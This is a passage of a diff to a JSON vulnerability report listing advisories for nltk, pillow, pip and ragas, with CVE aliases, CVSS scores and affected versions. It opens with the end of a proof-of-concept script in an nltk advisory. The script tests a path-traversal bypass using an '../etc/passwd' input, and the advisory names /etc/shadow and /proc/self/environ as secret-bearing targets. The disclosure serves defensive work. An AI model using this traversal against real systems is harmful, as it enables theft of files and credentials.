env_vars[:3]:\n if var:\n key = var.split(\"=\")[0] if \"=\" in var else var\n print(f\" {key}=...\")\n vulns += 1\n except Exception as e:\n print(f\" [SAFE] Blocked: {e}\")\n\n print()\n\n # --- Control: verify normal traversal IS blocked ---\n print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n print()\n print(\"=\" * 51)\n print(f\" Result: {vulns} bypass variant(s) succeeded\")\n if vulns > 0:\n print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n else:\n print(\" Status: Not vulnerable\")\n print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ \u2014 leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.", @@ -7390,21 +2382,23 @@ "groups": [ { "ids": [ - "PYSEC-2026-597" + "PYSEC-2026-2078", + "GHSA-p4gq-832x-fm9v" ], "aliases": [ - "CVE-2026-12243", - "PYSEC-2026-597" + "CVE-2026-54293", + "GHSA-p4gq-832x-fm9v", + "PYSEC-2026-2078" ], "max_severity": "7.5" }, { "ids": [ - "GHSA-p4gq-832x-fm9v" + "PYSEC-2026-597" ], "aliases": [ - "CVE-2026-54293", - "GHSA-p4gq-832x-fm9v" + "CVE-2026-12243", + "PYSEC-2026-597" ], "max_severity": "7.5" } @@ -7530,7 +2524,7 @@ "ecosystem": "PyPI" }, "licenses": [ - "UNKNOWN" + "MIT" ] }, { @@ -7839,6 +2833,903 @@ "version": "12.2.0", "ecosystem": "PyPI" }, + "vulnerabilities": [ + { + "modified": "2026-07-13T07:26:49Z", + "published": "2026-07-06T19:17:08Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2253", + "aliases": [ + "BIT-pillow-2026-54059", + "CVE-2026-54059", + "GHSA-8v84-f9pq-wr9x" + ], + "details": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pillow", + "purl": "pkg:pypi/pillow" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "12.3.0" + } + ] + } + ], + "versions": [ + "1.0", + "1.1", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7.0", + "1.7.1", + "1.7.2", + "1.7.3", + "1.7.4", + "1.7.5", + "1.7.6", + "1.7.7", + "1.7.8", + "10.0.0", + "10.0.1", + "10.1.0", + "10.2.0", + "10.3.0", + "10.4.0", + "11.0.0", + "11.1.0", + "11.2.1", + "11.3.0", + "12.0.0", + "12.1.0", + "12.1.1", + "12.2.0", + "2.0.0", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.3.0", + "2.3.1", + "2.3.2", + "2.4.0", + "2.5.0", + "2.5.1", + "2.5.2", + "2.5.3", + "2.6.0", + "2.6.1", + "2.6.2", + "2.7.0", + "2.8.0", + "2.8.1", + "2.8.2", + "2.9.0", + "3.0.0", + "3.1.0", + "3.1.0.rc1", + "3.1.0rc1", + "3.1.1", + "3.1.2", + "3.2.0", + "3.3.0", + "3.3.1", + "3.3.2", + "3.3.3", + "3.4.0", + "3.4.1", + "3.4.2", + "4.0.0", + "4.1.0", + "4.1.1", + "4.2.0", + "4.2.1", + "4.3.0", + "5.0.0", + "5.1.0", + "5.2.0", + "5.3.0", + "5.4.0", + "5.4.0.dev0", + "5.4.1", + "6.0.0", + "6.1.0", + "6.2.0", + "6.2.1", + "6.2.2", + "7.0.0", + "7.1.0", + "7.1.1", + "7.1.2", + "7.2.0", + "8.0.0", + "8.0.1", + "8.1.0", + "8.1.1", + "8.1.2", + "8.2.0", + "8.3.0", + "8.3.1", + "8.3.2", + "8.4.0", + "9.0.0", + "9.0.1", + "9.1.0", + "9.1.1", + "9.2.0", + "9.3.0", + "9.4.0", + "9.5.0" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pillow/PYSEC-2026-2253.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst" + }, + { + "type": "FIX", + "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x" + } + ] + }, + { + "modified": "2026-07-13T07:26:56Z", + "published": "2026-07-06T19:17:08Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2254", + "aliases": [ + "BIT-pillow-2026-54060", + "CVE-2026-54060", + "GHSA-5x94-69rx-g8h2" + ], + "details": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\"1\", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pillow", + "purl": "pkg:pypi/pillow" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "12.3.0" + } + ] + } + ], + "versions": [ + "1.0", + "1.1", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7.0", + "1.7.1", + "1.7.2", + "1.7.3", + "1.7.4", + "1.7.5", + "1.7.6", + "1.7.7", + "1.7.8", + "10.0.0", + "10.0.1", + "10.1.0", + "10.2.0", + "10.3.0", + "10.4.0", + "11.0.0", + "11.1.0", + "11.2.1", + "11.3.0", + "12.0.0", + "12.1.0", + "12.1.1", + "12.2.0", + "2.0.0", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.3.0", + "2.3.1", + "2.3.2", + "2.4.0", + "2.5.0", + "2.5.1", + "2.5.2", + "2.5.3", + "2.6.0", + "2.6.1", + "2.6.2", + "2.7.0", + "2.8.0", + "2.8.1", + "2.8.2", + "2.9.0", + "3.0.0", + "3.1.0", + "3.1.0.rc1", + "3.1.0rc1", + "3.1.1", + "3.1.2", + "3.2.0", + "3.3.0", + "3.3.1", + "3.3.2", + "3.3.3", + "3.4.0", + "3.4.1", + "3.4.2", + "4.0.0", + "4.1.0", + "4.1.1", + "4.2.0", + "4.2.1", + "4.3.0", + "5.0.0", + "5.1.0", + "5.2.0", + "5.3.0", + "5.4.0", + "5.4.0.dev0", + "5.4.1", + "6.0.0", + "6.1.0", + "6.2.0", + "6.2.1", + "6.2.2", + "7.0.0", + "7.1.0", + "7.1.1", + "7.1.2", + "7.2.0", + "8.0.0", + "8.0.1", + "8.1.0", + "8.1.1", + "8.1.2", + "8.2.0", + "8.3.0", + "8.3.1", + "8.3.2", + "8.4.0", + "9.0.0", + "9.0.1", + "9.1.0", + "9.1.1", + "9.2.0", + "9.3.0", + "9.4.0", + "9.5.0" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pillow/PYSEC-2026-2254.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst" + }, + { + "type": "FIX", + "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2" + } + ] + }, + { + "modified": "2026-07-13T07:26:26Z", + "published": "2026-07-06T19:17:08Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2255", + "aliases": [ + "BIT-pillow-2026-55379", + "CVE-2026-55379", + "GHSA-45hq-cxwh-f6vc" + ], + "details": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pillow", + "purl": "pkg:pypi/pillow" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "12.3.0" + } + ] + } + ], + "versions": [ + "1.0", + "1.1", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7.0", + "1.7.1", + "1.7.2", + "1.7.3", + "1.7.4", + "1.7.5", + "1.7.6", + "1.7.7", + "1.7.8", + "10.0.0", + "10.0.1", + "10.1.0", + "10.2.0", + "10.3.0", + "10.4.0", + "11.0.0", + "11.1.0", + "11.2.1", + "11.3.0", + "12.0.0", + "12.1.0", + "12.1.1", + "12.2.0", + "2.0.0", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.3.0", + "2.3.1", + "2.3.2", + "2.4.0", + "2.5.0", + "2.5.1", + "2.5.2", + "2.5.3", + "2.6.0", + "2.6.1", + "2.6.2", + "2.7.0", + "2.8.0", + "2.8.1", + "2.8.2", + "2.9.0", + "3.0.0", + "3.1.0", + "3.1.0.rc1", + "3.1.0rc1", + "3.1.1", + "3.1.2", + "3.2.0", + "3.3.0", + "3.3.1", + "3.3.2", + "3.3.3", + "3.4.0", + "3.4.1", + "3.4.2", + "4.0.0", + "4.1.0", + "4.1.1", + "4.2.0", + "4.2.1", + "4.3.0", + "5.0.0", + "5.1.0", + "5.2.0", + "5.3.0", + "5.4.0", + "5.4.0.dev0", + "5.4.1", + "6.0.0", + "6.1.0", + "6.2.0", + "6.2.1", + "6.2.2", + "7.0.0", + "7.1.0", + "7.1.1", + "7.1.2", + "7.2.0", + "8.0.0", + "8.0.1", + "8.1.0", + "8.1.1", + "8.1.2", + "8.2.0", + "8.3.0", + "8.3.1", + "8.3.2", + "8.4.0", + "9.0.0", + "9.0.1", + "9.1.0", + "9.1.1", + "9.2.0", + "9.3.0", + "9.4.0", + "9.5.0" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pillow/PYSEC-2026-2255.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst" + }, + { + "type": "FIX", + "url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc" + } + ] + }, + { + "modified": "2026-07-13T07:26:17Z", + "published": "2026-07-06T19:17:08Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2256", + "aliases": [ + "BIT-pillow-2026-55380", + "CVE-2026-55380", + "GHSA-phj9-mv4w-65pm" + ], + "details": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pillow", + "purl": "pkg:pypi/pillow" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "12.3.0" + } + ] + } + ], + "versions": [ + "1.0", + "1.1", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7.0", + "1.7.1", + "1.7.2", + "1.7.3", + "1.7.4", + "1.7.5", + "1.7.6", + "1.7.7", + "1.7.8", + "10.0.0", + "10.0.1", + "10.1.0", + "10.2.0", + "10.3.0", + "10.4.0", + "11.0.0", + "11.1.0", + "11.2.1", + "11.3.0", + "12.0.0", + "12.1.0", + "12.1.1", + "12.2.0", + "2.0.0", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.3.0", + "2.3.1", + "2.3.2", + "2.4.0", + "2.5.0", + "2.5.1", + "2.5.2", + "2.5.3", + "2.6.0", + "2.6.1", + "2.6.2", + "2.7.0", + "2.8.0", + "2.8.1", + "2.8.2", + "2.9.0", + "3.0.0", + "3.1.0", + "3.1.0.rc1", + "3.1.0rc1", + "3.1.1", + "3.1.2", + "3.2.0", + "3.3.0", + "3.3.1", + "3.3.2", + "3.3.3", + "3.4.0", + "3.4.1", + "3.4.2", + "4.0.0", + "4.1.0", + "4.1.1", + "4.2.0", + "4.2.1", + "4.3.0", + "5.0.0", + "5.1.0", + "5.2.0", + "5.3.0", + "5.4.0", + "5.4.0.dev0", + "5.4.1", + "6.0.0", + "6.1.0", + "6.2.0", + "6.2.1", + "6.2.2", + "7.0.0", + "7.1.0", + "7.1.1", + "7.1.2", + "7.2.0", + "8.0.0", + "8.0.1", + "8.1.0", + "8.1.1", + "8.1.2", + "8.2.0", + "8.3.0", + "8.3.1", + "8.3.2", + "8.4.0", + "9.0.0", + "9.0.1", + "9.1.0", + "9.1.1", + "9.2.0", + "9.3.0", + "9.4.0", + "9.5.0" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pillow/PYSEC-2026-2256.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst" + }, + { + "type": "FIX", + "url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm" + } + ] + }, + { + "modified": "2026-07-13T07:26:48Z", + "published": "2026-07-06T19:17:08Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2257", + "aliases": [ + "BIT-pillow-2026-55798", + "CVE-2026-55798", + "GHSA-4x4j-2g7c-83w6" + ], + "details": "Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pillow", + "purl": "pkg:pypi/pillow" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "12.3.0" + } + ] + } + ], + "versions": [ + "1.0", + "1.1", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7.0", + "1.7.1", + "1.7.2", + "1.7.3", + "1.7.4", + "1.7.5", + "1.7.6", + "1.7.7", + "1.7.8", + "10.0.0", + "10.0.1", + "10.1.0", + "10.2.0", + "10.3.0", + "10.4.0", + "11.0.0", + "11.1.0", + "11.2.1", + "11.3.0", + "12.0.0", + "12.1.0", + "12.1.1", + "12.2.0", + "2.0.0", + "2.1.0", + "2.2.0", + "2.2.1", + "2.2.2", + "2.3.0", + "2.3.1", + "2.3.2", + "2.4.0", + "2.5.0", + "2.5.1", + "2.5.2", + "2.5.3", + "2.6.0", + "2.6.1", + "2.6.2", + "2.7.0", + "2.8.0", + "2.8.1", + "2.8.2", + "2.9.0", + "3.0.0", + "3.1.0", + "3.1.0.rc1", + "3.1.0rc1", + "3.1.1", + "3.1.2", + "3.2.0", + "3.3.0", + "3.3.1", + "3.3.2", + "3.3.3", + "3.4.0", + "3.4.1", + "3.4.2", + "4.0.0", + "4.1.0", + "4.1.1", + "4.2.0", + "4.2.1", + "4.3.0", + "5.0.0", + "5.1.0", + "5.2.0", + "5.3.0", + "5.4.0", + "5.4.0.dev0", + "5.4.1", + "6.0.0", + "6.1.0", + "6.2.0", + "6.2.1", + "6.2.2", + "7.0.0", + "7.1.0", + "7.1.1", + "7.1.2", + "7.2.0", + "8.0.0", + "8.0.1", + "8.1.0", + "8.1.1", + "8.1.2", + "8.2.0", + "8.3.0", + "8.3.1", + "8.3.2", + "8.4.0", + "9.0.0", + "9.0.1", + "9.1.0", + "9.1.1", + "9.2.0", + "9.3.0", + "9.4.0", + "9.5.0" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pillow/PYSEC-2026-2257.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst" + }, + { + "type": "FIX", + "url": "https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a" + }, + { + "type": "FIX", + "url": "https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4" + }, + { + "type": "FIX", + "url": "https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6" + } + ] + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-2253" + ], + "aliases": [ + "BIT-pillow-2026-54059", + "CVE-2026-54059", + "GHSA-8v84-f9pq-wr9x", + "PYSEC-2026-2253" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-2254" + ], + "aliases": [ + "BIT-pillow-2026-54060", + "CVE-2026-54060", + "GHSA-5x94-69rx-g8h2", + "PYSEC-2026-2254" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-2255" + ], + "aliases": [ + "BIT-pillow-2026-55379", + "CVE-2026-55379", + "GHSA-45hq-cxwh-f6vc", + "PYSEC-2026-2255" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-2256" + ], + "aliases": [ + "BIT-pillow-2026-55380", + "CVE-2026-55380", + "GHSA-phj9-mv4w-65pm", + "PYSEC-2026-2256" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "PYSEC-2026-2257" + ], + "aliases": [ + "BIT-pillow-2026-55798", + "CVE-2026-55798", + "GHSA-4x4j-2g7c-83w6", + "PYSEC-2026-2257" + ], + "max_severity": "4.5" + } + ], "licenses": [ "MIT-CMU" ] @@ -7851,18 +3742,242 @@ }, "vulnerabilities": [ { - "modified": "2026-06-05T12:45:14Z", - "published": "2026-06-01T17:17:35Z", + "modified": "2026-07-13T16:45:04Z", + "published": "2026-06-01T17:17:35Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-196", + "aliases": [ + "CVE-2026-8643", + "GHSA-wf93-45jw-7689" + ], + "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pip", + "purl": "pkg:pypi/pip" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "26.1.2" + } + ] + } + ], + "versions": [ + "0.2", + "0.2.1", + "0.3", + "0.3.1", + "0.4", + "0.5", + "0.5.1", + "0.6", + "0.6.1", + "0.6.2", + "0.6.3", + "0.7", + "0.7.1", + "0.7.2", + "0.8", + "0.8.1", + "0.8.2", + "0.8.3", + "1.0", + "1.0.1", + "1.0.2", + "1.1", + "1.2", + "1.2.1", + "1.3", + "1.3.1", + "1.4", + "1.4.1", + "1.5", + "1.5.1", + "1.5.2", + "1.5.3", + "1.5.4", + "1.5.5", + "1.5.6", + "10.0.0", + "10.0.0b1", + "10.0.0b2", + "10.0.1", + "18.0", + "18.1", + "19.0", + "19.0.1", + "19.0.2", + "19.0.3", + "19.1", + "19.1.1", + "19.2", + "19.2.1", + "19.2.2", + "19.2.3", + "19.3", + "19.3.1", + "20.0", + "20.0.1", + "20.0.2", + "20.1", + "20.1.1", + "20.1b1", + "20.2", + "20.2.1", + "20.2.2", + "20.2.3", + "20.2.4", + "20.2b1", + "20.3", + "20.3.1", + "20.3.2", + "20.3.3", + "20.3.4", + "20.3b1", + "21.0", + "21.0.1", + "21.1", + "21.1.1", + "21.1.2", + "21.1.3", + "21.2", + "21.2.1", + "21.2.2", + "21.2.3", + "21.2.4", + "21.3", + "21.3.1", + "22.0", + "22.0.1", + "22.0.2", + "22.0.3", + "22.0.4", + "22.1", + "22.1.1", + "22.1.2", + "22.1b1", + "22.2", + "22.2.1", + "22.2.2", + "22.3", + "22.3.1", + "23.0", + "23.0.1", + "23.1", + "23.1.1", + "23.1.2", + "23.2", + "23.2.1", + "23.3", + "23.3.1", + "23.3.2", + "24.0", + "24.1", + "24.1.1", + "24.1.2", + "24.1b1", + "24.1b2", + "24.2", + "24.3", + "24.3.1", + "25.0", + "25.0.1", + "25.1", + "25.1.1", + "25.2", + "25.3", + "26.0", + "26.0.1", + "26.1", + "26.1.1", + "6.0", + "6.0.1", + "6.0.2", + "6.0.3", + "6.0.4", + "6.0.5", + "6.0.6", + "6.0.7", + "6.0.8", + "6.1.0", + "6.1.1", + "7.0.0", + "7.0.1", + "7.0.2", + "7.0.3", + "7.1.0", + "7.1.1", + "7.1.2", + "8.0.0", + "8.0.1", + "8.0.2", + "8.0.3", + "8.1.0", + "8.1.1", + "8.1.2", + "9.0.0", + "9.0.1", + "9.0.2", + "9.0.3" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pip/PYSEC-2026-196.yaml" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "http://www.openwall.com/lists/oss-security/2026/06/01/5" + }, + { + "type": "ADVISORY", + "url": "https://mail.python.org/archives/list/security-announce@python.org/thread/YV63UET5D3OOJY7O4M5XCVYO2YM4NBYJ/" + }, + { + "type": "FIX", + "url": "https://github.com/pypa/pip/pull/14000" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-wf93-45jw-7689" + } + ] + }, + { + "modified": "2026-07-10T12:45:24Z", + "published": "2026-06-01T18:31:53Z", "schema_version": "1.7.5", - "id": "PYSEC-2026-196", + "id": "GHSA-wf93-45jw-7689", "aliases": [ - "CVE-2026-8643" + "CVE-2026-8643", + "PYSEC-2026-196" ], + "summary": " pip: Path traversal in console_scripts/gui_scripts\u00a0entry point names allows installing scripts outside of target directory", "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", "severity": [ { "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" } ], "affected": [ @@ -8044,36 +4159,179 @@ "9.0.3" ], "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pip/PYSEC-2026-196.yaml" + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wf93-45jw-7689/GHSA-wf93-45jw-7689.json" } } ], "references": [ { "type": "ADVISORY", - "url": "http://www.openwall.com/lists/oss-security/2026/06/01/5" + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8643" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/pip/pull/14000" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:33313" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34776" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34777" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34778" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34780" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34891" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:36193" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:36315" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:37275" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:37283" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2026-8643" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460927" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pip/PYSEC-2026-196.yaml" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pypa/pip" + }, + { + "type": "WEB", + "url": "https://mail.python.org/archives/list/security-announce@python.org/thread/YV63UET5D3OOJY7O4M5XCVYO2YM4NBYJ" + }, + { + "type": "WEB", + "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-8643.json" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34374" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34456" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34739" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34740" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34741" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34748" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34749" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34750" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34752" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34756" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34758" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34760" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34765" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34772" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34773" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34774" }, { - "type": "ADVISORY", - "url": "https://mail.python.org/archives/list/security-announce@python.org/thread/YV63UET5D3OOJY7O4M5XCVYO2YM4NBYJ/" + "type": "WEB", + "url": "https://access.redhat.com/errata/RHSA-2026:34775" }, { - "type": "FIX", - "url": "https://github.com/pypa/pip/pull/14000" + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/06/01/5" } - ] + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-08T21:00:36Z", + "nvd_published_at": "2026-06-01T17:17:35Z", + "severity": "MODERATE" + } } ], "groups": [ { "ids": [ - "PYSEC-2026-196" + "PYSEC-2026-196", + "GHSA-wf93-45jw-7689" ], "aliases": [ "CVE-2026-8643", + "GHSA-wf93-45jw-7689", "PYSEC-2026-196" ], - "max_severity": "5.5" + "max_severity": "8.0" } ], "licenses": [ @@ -8647,12 +4905,130 @@ }, "vulnerabilities": [ { - "modified": "2026-04-22T22:18:53Z", + "modified": "2026-07-13T16:32:43Z", + "published": "2026-07-13T15:02:51Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3046", + "aliases": [ + "CVE-2026-6587", + "GHSA-95ww-475f-pr4f" + ], + "summary": "RAGAS has SSRF via Multi-Modal Faithfulness Collections Module", + "details": "A security flaw has been discovered in vibrantlabsai RAGAS up to 0.4.3. The affected element is the function _try_process_local_file/_try_process_url of the file src/ragas/metrics/collections/multi_modal_faithfulness/util.py of the component Collections Module. Performing a manipulation of the argument retrieved_contexts results in server-side request forgery. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The security patch for CVE-2025-45691 was applied to a different module only. The vendor was contacted early about this disclosure but did not respond in any way.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "ragas", + "purl": "pkg:pypi/ragas" + }, + 